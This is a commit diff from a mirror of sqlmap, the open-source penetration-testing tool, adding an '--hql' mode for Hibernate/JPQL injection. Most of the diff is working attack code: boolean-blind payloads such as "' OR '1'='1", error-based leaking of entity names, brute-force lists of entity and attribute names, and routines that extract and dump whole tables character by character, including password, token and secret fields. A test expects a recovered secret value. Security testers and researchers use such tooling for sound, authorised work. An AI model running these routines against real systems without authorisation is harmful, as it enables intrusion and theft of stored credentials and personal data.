mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Adding support for --hql
This commit is contained in:
@@ -83,6 +83,7 @@ from lib.core.settings import FI_ERROR_REGEX
|
||||
from lib.core.settings import FORMAT_EXCEPTION_STRINGS
|
||||
from lib.core.settings import GRAPHQL_ERROR_REGEX
|
||||
from lib.core.settings import HEURISTIC_CHECK_ALPHABET
|
||||
from lib.core.settings import HQL_ERROR_REGEX
|
||||
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
||||
from lib.core.settings import LDAP_ERROR_REGEX
|
||||
from lib.core.settings import SSTI_ERROR_REGEX
|
||||
@@ -1216,6 +1217,13 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.hql and re.search(HQL_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
|
||||
logger.info(infoMsg)
|
||||
|
||||
@@ -529,8 +529,8 @@ def start():
|
||||
|
||||
checkWaf()
|
||||
|
||||
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile):
|
||||
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only")
|
||||
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile):
|
||||
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only")
|
||||
|
||||
if conf.graphql:
|
||||
from lib.techniques.graphql.inject import graphqlScan
|
||||
@@ -562,6 +562,11 @@ def start():
|
||||
xxeScan()
|
||||
continue
|
||||
|
||||
if conf.hql:
|
||||
from lib.techniques.hql.inject import hqlScan
|
||||
hqlScan()
|
||||
continue
|
||||
|
||||
if conf.nullConnection:
|
||||
checkNullConnection()
|
||||
|
||||
|
||||
@@ -126,6 +126,7 @@ optDict = {
|
||||
"xpath": "boolean",
|
||||
"ssti": "boolean",
|
||||
"xxe": "boolean",
|
||||
"hql": "boolean",
|
||||
"oobServer": "string",
|
||||
"oobToken": "string",
|
||||
"timeSec": "integer",
|
||||
|
||||
+49
-1
@@ -20,7 +20,7 @@ from lib.core.enums import OS
|
||||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.7.65"
|
||||
VERSION = "1.10.7.66"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
@@ -1159,6 +1159,54 @@ OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consi
|
||||
XXE_BLACKHOLE_HOST = "192.0.2.1"
|
||||
XXE_TIME_THRESHOLD = 5
|
||||
|
||||
# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based
|
||||
# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment).
|
||||
# A match means the injection reached the ORM query parser (not the SQL layer),
|
||||
# which is what distinguishes HQL injection from ordinary SQL injection.
|
||||
HQL_ERROR_SIGNATURES = (
|
||||
("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"),
|
||||
("Hibernate", r"(?:QuerySyntaxException|QueryException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"),
|
||||
("Hibernate", r"(?:token recognition error at|unexpected (?:token|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property)|line \d+:\d+ (?:no viable alternative|mismatched input|token recognition error))"),
|
||||
("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"),
|
||||
("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"),
|
||||
("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"),
|
||||
)
|
||||
|
||||
HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES)
|
||||
|
||||
# Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the
|
||||
# ORM equivalent of a leaked table name; HQL has no information_schema so error-based
|
||||
# leakage is the native way to learn the entity model). First capture group = name.
|
||||
HQL_ENTITY_REGEX = (
|
||||
r"(?:attribute|property|path) '[^']+' of '([\w.$]+)'",
|
||||
r"resolve root entity '([^']+)'",
|
||||
r"(?:entity|class) ['\"]?([\w.$]+[\w$])['\"]? is not mapped",
|
||||
)
|
||||
|
||||
# Printable-ASCII codepoint bounds bisected during HQL blind character extraction
|
||||
HQL_CHAR_MIN = 0x20
|
||||
HQL_CHAR_MAX = 0x7e
|
||||
|
||||
# Upper bound for the value-length search during HQL blind extraction
|
||||
HQL_MAX_LENGTH = 256
|
||||
|
||||
# Maximum number of attributes to enumerate per entity during HQL blind extraction
|
||||
HQL_MAX_FIELDS = 64
|
||||
|
||||
# Maximum number of records walked (ordered by a numeric pin) during HQL blind dump
|
||||
HQL_MAX_RECORDS = 100
|
||||
|
||||
# Common mapped entity names brute-forced through the boolean oracle when the app
|
||||
# does not reflect Hibernate diagnostics (a mapped name keeps the query valid; an
|
||||
# unmapped one raises UnknownEntityException and reads as false).
|
||||
HQL_COMMON_ENTITIES = (
|
||||
"User", "Users", "Account", "Accounts", "Member", "Members", "Customer",
|
||||
"Customers", "Person", "People", "Employee", "Admin", "Login", "Credential",
|
||||
"Profile", "Role", "Client", "Contact", "Company", "Product", "Order",
|
||||
"Item", "Article", "Post", "Comment", "Category", "Document", "File",
|
||||
"Message", "Group", "Session", "Token", "Application", "Setting",
|
||||
)
|
||||
|
||||
XXE_IMPACT_FILES = (
|
||||
("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
|
||||
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
|
||||
|
||||
@@ -96,6 +96,7 @@ def vulnTest(tests=None, label="vuln"):
|
||||
("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
|
||||
("-u \"<base>xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
|
||||
("-u \"<base>ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
|
||||
("-u \"<base>hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction
|
||||
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
|
||||
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
|
||||
|
||||
@@ -796,6 +796,9 @@ def cmdLineParser(argv=None):
|
||||
nonsql.add_argument("--xxe", dest="xxe", action="store_true",
|
||||
help="Test for XML External Entity (XXE) injection")
|
||||
|
||||
nonsql.add_argument("--hql", dest="hql", action="store_true",
|
||||
help="Test for HQL/JPQL (Hibernate ORM) injection")
|
||||
|
||||
nonsql.add_argument("--oob-server", dest="oobServer",
|
||||
help="Out-of-band server for blind '--xxe'")
|
||||
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,493 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import difflib
|
||||
import re
|
||||
import time
|
||||
|
||||
from collections import namedtuple
|
||||
|
||||
from lib.core.common import beep
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.settings import HQL_CHAR_MAX
|
||||
from lib.core.settings import HQL_CHAR_MIN
|
||||
from lib.core.settings import HQL_COMMON_ENTITIES
|
||||
from lib.core.settings import HQL_ENTITY_REGEX
|
||||
from lib.core.settings import HQL_ERROR_REGEX
|
||||
from lib.core.settings import HQL_ERROR_SIGNATURES
|
||||
from lib.core.settings import HQL_MAX_FIELDS
|
||||
from lib.core.settings import HQL_MAX_LENGTH
|
||||
from lib.core.settings import HQL_MAX_RECORDS
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.xrange import xrange
|
||||
|
||||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
|
||||
|
||||
# Attribute names probed (via an error-vs-valid oracle) once the mapped entity is
|
||||
# known. HQL has no information_schema, so a mapped attribute either resolves
|
||||
# (valid query) or raises a PathElementException (error page); that difference is
|
||||
# the enumeration oracle. Ordered by real-world frequency.
|
||||
HQL_COMMON_FIELDS = (
|
||||
"id", "name", "username", "user", "login", "email", "mail", "password",
|
||||
"passwd", "pass", "pwd", "secret", "token", "apikey", "role", "roles",
|
||||
"firstname", "lastname", "fullname", "phone", "address", "city", "country",
|
||||
"active", "enabled", "created", "updated", "description", "title", "status",
|
||||
"type", "code", "key", "hash", "salt", "uuid", "owner", "amount", "price",
|
||||
)
|
||||
|
||||
# Detection boundaries, priority-ordered. Each is (true, false, extraction prefix,
|
||||
# extraction suffix, sentinel-based). The application's own trailing delimiter
|
||||
# (the closing quote it appends after the injected value) balances the suffix, so
|
||||
# no comment is needed (HQL frequently rejects SQL line comments anyway).
|
||||
_BOUNDARY_TABLE = (
|
||||
# (true_breakout, false_breakout, ext_prefix, ext_suffix, sentinel )
|
||||
("' OR '1'='1", "' AND '1'='2", "' OR ", " OR '1'='2", True),
|
||||
('" OR "1"="1', '" AND "1"="2', '" OR ', ' OR "1"="2', True),
|
||||
(" OR 1=1", " AND 1=2", " OR ", "", False),
|
||||
)
|
||||
|
||||
# Boundary carries the extraction prefix/suffix and whether the base value must be
|
||||
# a non-matching sentinel (OR-style) so a true predicate flips an empty result set.
|
||||
Boundary = namedtuple("Boundary", ("prefix", "suffix", "sentinel"))
|
||||
|
||||
Slot = namedtuple("Slot", ("place", "parameter", "backend", "entity", "oracle", "boundary", "payload"))
|
||||
Slot.__new__.__defaults__ = (None,) * 7
|
||||
|
||||
|
||||
def _ratio(first, second):
|
||||
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
|
||||
|
||||
|
||||
def _delim(place):
|
||||
return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&'
|
||||
|
||||
|
||||
def _confParameters(place):
|
||||
try:
|
||||
return conf.parameters.get(place, "")
|
||||
except AttributeError:
|
||||
return conf.parameters[place] if place in conf.parameters else ""
|
||||
|
||||
|
||||
def _originalValue(place, parameter):
|
||||
for segment in _confParameters(place).split(_delim(place)):
|
||||
name, _, value = segment.partition('=')
|
||||
if name.strip() == parameter:
|
||||
return value
|
||||
return conf.paramDict.get(place, {}).get(parameter) or ""
|
||||
|
||||
|
||||
def _replaceSegment(place, parameter, value):
|
||||
delimiter = _delim(place)
|
||||
raw = _confParameters(place)
|
||||
retVal, replaced = [], False
|
||||
|
||||
for part in raw.split(delimiter):
|
||||
name, _, _ = part.partition('=')
|
||||
if not replaced and name.strip() == parameter:
|
||||
retVal.append("%s=%s" % (name, value))
|
||||
replaced = True
|
||||
else:
|
||||
retVal.append(part)
|
||||
|
||||
if not replaced:
|
||||
retVal = []
|
||||
for name, oldValue in conf.paramDict.get(place, {}).items():
|
||||
retVal.append("%s=%s" % (name, value if name == parameter else oldValue))
|
||||
|
||||
return delimiter.join(retVal)
|
||||
|
||||
|
||||
def _send(place, parameter, value):
|
||||
"""Issue a single HTTP request with the target parameter set to `value`,
|
||||
temporarily mutating conf.parameters so sqlmap's normal request machinery
|
||||
(URL construction, cookies, headers, encodings) is fully preserved."""
|
||||
|
||||
if conf.delay:
|
||||
time.sleep(conf.delay)
|
||||
|
||||
old_params = conf.parameters.get(place, "")
|
||||
conf.parameters[place] = _replaceSegment(place, parameter, value)
|
||||
|
||||
try:
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
|
||||
page, _, _ = Request.getPage(raise404=False, silent=True)
|
||||
return page or ""
|
||||
except Exception as ex:
|
||||
logger.debug("HQL probe request failed: %s" % getUnicode(ex))
|
||||
return ""
|
||||
finally:
|
||||
conf.parameters[place] = old_params
|
||||
|
||||
|
||||
def _isError(page):
|
||||
return bool(re.search(HQL_ERROR_REGEX, getUnicode(page or "")))
|
||||
|
||||
|
||||
def _backendFromError(page):
|
||||
page = getUnicode(page or "")
|
||||
for backend, regex in HQL_ERROR_SIGNATURES:
|
||||
if re.search(regex, page):
|
||||
return backend
|
||||
return None
|
||||
|
||||
|
||||
def _entityFromError(page):
|
||||
page = getUnicode(page or "")
|
||||
for regex in HQL_ENTITY_REGEX:
|
||||
match = re.search(regex, page)
|
||||
if match:
|
||||
return match.group(1)
|
||||
return None
|
||||
|
||||
|
||||
def _probeError(place, parameter):
|
||||
"""Break the HQL string/numeric context and look for an ORM parser diagnostic.
|
||||
Returns (backend, page) - a hint only; the boolean oracle is authoritative."""
|
||||
|
||||
original = _originalValue(place, parameter) or "1"
|
||||
normal = _send(place, parameter, original)
|
||||
|
||||
for suffix in ("'", '"', "'||", " and", ")"):
|
||||
broken = _send(place, parameter, original + suffix)
|
||||
if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
|
||||
continue
|
||||
backend = _backendFromError(broken)
|
||||
if backend and not _isError(normal):
|
||||
return backend, broken
|
||||
|
||||
return None, None
|
||||
|
||||
|
||||
def _boolean(truthy, falsy):
|
||||
"""Return the reproducible true page when true/false probes diverge (both must
|
||||
be independently reproducible), else None."""
|
||||
|
||||
truePage = truthy()
|
||||
if truePage is None or _isError(truePage):
|
||||
return None
|
||||
if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
|
||||
falsePage = falsy()
|
||||
if falsePage is None or _isError(falsePage):
|
||||
return None
|
||||
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
|
||||
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
|
||||
return truePage
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _detectBoolean(place, parameter):
|
||||
"""Return (template, payload, boundary) for boolean-blind HQL injection."""
|
||||
|
||||
original = _originalValue(place, parameter) or ""
|
||||
|
||||
for true_bk, false_bk, prefix, suffix, sentinel in _BOUNDARY_TABLE:
|
||||
truePayload = original + true_bk
|
||||
falsePayload = original + false_bk
|
||||
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
|
||||
lambda p=falsePayload: _send(place, parameter, p))
|
||||
if template:
|
||||
return template, truePayload, Boundary(prefix, suffix, sentinel)
|
||||
|
||||
return None, None, None
|
||||
|
||||
|
||||
def _base(boundary, original):
|
||||
# OR-style boundaries need a base value that matches no row so a true predicate
|
||||
# flips an empty result set into a populated one; AND-style keeps the original.
|
||||
if boundary.sentinel:
|
||||
return SENTINEL
|
||||
return "-1"
|
||||
|
||||
|
||||
def _wrap(original, boundary, predicate):
|
||||
return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix)
|
||||
|
||||
|
||||
def _makeOracle(place, parameter, template, boundary, original):
|
||||
"""Build oracle(predicate) -> bool from a verified true template."""
|
||||
|
||||
cache = {}
|
||||
base = _base(boundary, original)
|
||||
|
||||
def request(payload):
|
||||
if payload not in cache:
|
||||
cache[payload] = _send(place, parameter, payload)
|
||||
return cache[payload]
|
||||
|
||||
def truth(predicate):
|
||||
page = request(_wrap(base, boundary, predicate))
|
||||
if page is None or _isError(page):
|
||||
return False
|
||||
return _ratio(template, page) >= UPPER_RATIO_BOUND
|
||||
|
||||
truth.template = template
|
||||
truth.cache = cache
|
||||
return truth
|
||||
|
||||
|
||||
def _leakEntity(place, parameter, boundary, original):
|
||||
"""Force a path-resolution error to leak the mapped entity name. An unqualified
|
||||
identifier resolves against the query root, so a random one yields e.g.
|
||||
"Could not resolve attribute 'xyz' of 'com.app.User'"."""
|
||||
|
||||
base = _base(boundary, original)
|
||||
marker = randomStr(length=8, lowercase=True)
|
||||
|
||||
for reference in ("%s", "u.%s", "e.%s", "o.%s", "x.%s", "this.%s"):
|
||||
predicate = "%s IS NOT NULL" % (reference % marker)
|
||||
page = _send(place, parameter, _wrap(base, boundary, predicate))
|
||||
entity = _entityFromError(page)
|
||||
if entity:
|
||||
return entity
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _shortEntity(entity):
|
||||
# com.app.model.User -> User ; lab.App$Member -> Member
|
||||
return re.split(r"[.$]", entity)[-1] if entity else entity
|
||||
|
||||
|
||||
def _bruteEntities(truth):
|
||||
"""Recover mapped entity names through the boolean oracle alone (no reflected
|
||||
diagnostic needed): a mapped name keeps the FROM clause valid, an unmapped one
|
||||
raises UnknownEntityException and reads as false. Returns every match so the
|
||||
whole reachable model can be dumped, not just the injected query's entity."""
|
||||
|
||||
retVal = []
|
||||
for entity in HQL_COMMON_ENTITIES:
|
||||
if truth("EXISTS(SELECT 1 FROM %s _h)" % entity):
|
||||
retVal.append(entity)
|
||||
return retVal
|
||||
|
||||
|
||||
def _enumFields(truth, entity):
|
||||
"""Probe common attribute names against the entity; a name that resolves keeps
|
||||
the query valid (oracle true), a missing one raises and reads as false."""
|
||||
|
||||
fields = []
|
||||
for field in HQL_COMMON_FIELDS:
|
||||
if len(fields) >= HQL_MAX_FIELDS:
|
||||
break
|
||||
predicate = "EXISTS(SELECT _h.%s FROM %s _h)" % (field, entity)
|
||||
if truth(predicate):
|
||||
fields.append(field)
|
||||
logger.info("identified mapped attribute: '%s'" % field)
|
||||
return fields
|
||||
|
||||
|
||||
# Frequency-ordered printable charset for blind character extraction
|
||||
_META_ORDS = set(ord(_) for _ in ("'", '"', '\\'))
|
||||
_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) +
|
||||
tuple(xrange(ord('A'), ord('Z') + 1)) +
|
||||
tuple(xrange(ord('0'), ord('9') + 1)) +
|
||||
tuple(ord(_) for _ in "@._- +:/"))
|
||||
_CHARSET = []
|
||||
for _ in _FREQ:
|
||||
if HQL_CHAR_MIN <= _ <= HQL_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET:
|
||||
_CHARSET.append(_)
|
||||
for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1):
|
||||
if _ not in _META_ORDS and _ not in _CHARSET:
|
||||
_CHARSET.append(_)
|
||||
|
||||
|
||||
def _scalar(entity, attribute, expr, pin, after=None):
|
||||
"""Scalar subquery over a single `entity` row selected by the smallest `pin`
|
||||
(optionally the smallest strictly greater than `after`, to walk rows in order).
|
||||
Alias-independent, so it works regardless of the outer query's alias. `expr`
|
||||
wraps the attribute, cast to string so numeric/temporal values extract too."""
|
||||
|
||||
bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after)
|
||||
target = "CAST(_h.%s AS string)" % attribute
|
||||
inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % (
|
||||
expr % target, entity, pin, pin, entity, bound)
|
||||
return "(%s)" % inner
|
||||
|
||||
|
||||
def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH):
|
||||
"""Blindly recover one attribute value of the row selected by `pin`/`after`."""
|
||||
|
||||
# length first, by binary search
|
||||
lengthExpr = _scalar(entity, attribute, "LENGTH(%s)", pin, after)
|
||||
if not truth("%s>=1" % lengthExpr):
|
||||
return ""
|
||||
|
||||
lo, hi = 1, maxLen
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if truth("%s>=%d" % (lengthExpr, mid)):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid - 1
|
||||
length = lo
|
||||
|
||||
chars = []
|
||||
for pos in xrange(1, length + 1):
|
||||
charExpr = _scalar(entity, attribute, "SUBSTRING(%%s,%d,1)" % pos, pin, after)
|
||||
found = None
|
||||
for cp in _CHARSET:
|
||||
literal = chr(cp)
|
||||
if truth("%s='%s'" % (charExpr, literal)):
|
||||
found = literal
|
||||
break
|
||||
chars.append(found if found is not None else "?")
|
||||
|
||||
return "".join(chars)
|
||||
|
||||
|
||||
def _grid(columns, rows):
|
||||
columns = [getUnicode(_) for _ in columns]
|
||||
rows = [[getUnicode(_) for _ in row] for row in rows]
|
||||
|
||||
widths = []
|
||||
for index, column in enumerate(columns):
|
||||
width = len(column)
|
||||
for row in rows:
|
||||
if index < len(row):
|
||||
width = max(width, len(getUnicode(row[index])))
|
||||
widths.append(width)
|
||||
|
||||
separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
|
||||
|
||||
def line(cells):
|
||||
return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
|
||||
|
||||
return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
|
||||
|
||||
|
||||
def _dumpEntity(oracle, place, parameter, entity):
|
||||
"""Enumerate an entity's mapped attributes and blindly dump all of its rows."""
|
||||
|
||||
logger.info("enumerating mapped attributes of entity '%s'" % entity)
|
||||
fields = _enumFields(oracle, entity)
|
||||
if not fields:
|
||||
logger.warning("entity '%s' confirmed but no common attribute resolved; the model may use non-standard names" % entity)
|
||||
return
|
||||
|
||||
pin = "id" if "id" in fields else fields[0]
|
||||
columns = list(fields)
|
||||
|
||||
# Walk records in ascending pin order: each row is pinned to the smallest pin
|
||||
# value strictly greater than the previous one. A numeric pin is required to
|
||||
# advance the cursor; otherwise only the first (smallest-pin) row is recovered.
|
||||
rows = []
|
||||
after = None
|
||||
for _ in xrange(HQL_MAX_RECORDS):
|
||||
pinValue = _inferValue(oracle, entity, pin, pin, after)
|
||||
if not pinValue:
|
||||
break
|
||||
|
||||
record = {pin: pinValue}
|
||||
for field in fields:
|
||||
if field != pin:
|
||||
record[field] = _inferValue(oracle, entity, field, pin, after)
|
||||
rows.append([record.get(_, "") for _ in fields])
|
||||
logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields))
|
||||
|
||||
if not re.match(r"\A\d+\Z", pinValue):
|
||||
break
|
||||
after = pinValue
|
||||
|
||||
conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows)))
|
||||
|
||||
|
||||
def hqlScan():
|
||||
global SENTINEL
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
debugMsg = "'--hql' is self-contained: it detects HQL/JPQL (Hibernate ORM) injection "
|
||||
debugMsg += "and blindly recovers the mapped entity model. SQL enumeration switches "
|
||||
debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) do not apply"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if not conf.paramDict:
|
||||
logger.error("no request parameters to test (use --data, GET params, or similar)")
|
||||
return
|
||||
|
||||
tested = 0
|
||||
slots = []
|
||||
|
||||
for place in (_ for _ in HQL_PLACES if _ in conf.paramDict):
|
||||
for parameter in list(conf.paramDict[place].keys()):
|
||||
if conf.testParameter and parameter not in conf.testParameter:
|
||||
continue
|
||||
|
||||
tested += 1
|
||||
logger.info("testing HQL injection on %s parameter '%s'" % (place, parameter))
|
||||
|
||||
backendHint, _page = _probeError(place, parameter)
|
||||
if backendHint:
|
||||
logger.info("%s parameter '%s' reaches an ORM query parser (back-end: '%s')" % (place, parameter, backendHint))
|
||||
|
||||
template, payload, boundary = _detectBoolean(place, parameter)
|
||||
if not template:
|
||||
if backendHint:
|
||||
logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter))
|
||||
continue
|
||||
|
||||
backend = backendHint or "Hibernate"
|
||||
original = _originalValue(place, parameter)
|
||||
# Error leakage only helps when the app actually reflects diagnostics
|
||||
entity = _leakEntity(place, parameter, boundary, original) if backendHint else None
|
||||
logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else ""))
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
oracle = _makeOracle(place, parameter, template, boundary, original)
|
||||
slots.append(Slot(place=place, parameter=parameter, backend=backend,
|
||||
entity=entity, oracle=oracle, boundary=boundary, payload=payload))
|
||||
|
||||
if not slots:
|
||||
if tested:
|
||||
logger.warning("no parameter appears to be injectable via HQL injection (%d tested)" % tested)
|
||||
else:
|
||||
logger.warning("no parameters found to test for HQL injection")
|
||||
return
|
||||
|
||||
for slot in slots:
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.payload))
|
||||
|
||||
# Blind extraction covers as much of the mapped model as reachable: the error-leaked
|
||||
# entity (if any) plus every common entity the boolean oracle confirms is mapped.
|
||||
slot = next((_ for _ in slots if _.entity), slots[0])
|
||||
|
||||
entities = []
|
||||
leaked = _shortEntity(slot.entity)
|
||||
if leaked:
|
||||
entities.append(leaked)
|
||||
|
||||
logger.info("recovering mapped entities through the boolean oracle")
|
||||
for entity in _bruteEntities(slot.oracle):
|
||||
if entity not in entities:
|
||||
entities.append(entity)
|
||||
|
||||
if not entities:
|
||||
logger.info("HQL injection confirmed; could not resolve a mapped entity for blind extraction")
|
||||
logger.info("HQL scan complete")
|
||||
return
|
||||
|
||||
logger.info("dumping %d reachable entit%s: %s" % (len(entities), "y" if len(entities) == 1 else "ies", ", ".join("'%s'" % _ for _ in entities)))
|
||||
for entity in entities:
|
||||
_dumpEntity(slot.oracle, slot.place, slot.parameter, entity)
|
||||
|
||||
logger.info("HQL scan complete")
|
||||
Reference in New Issue
Block a user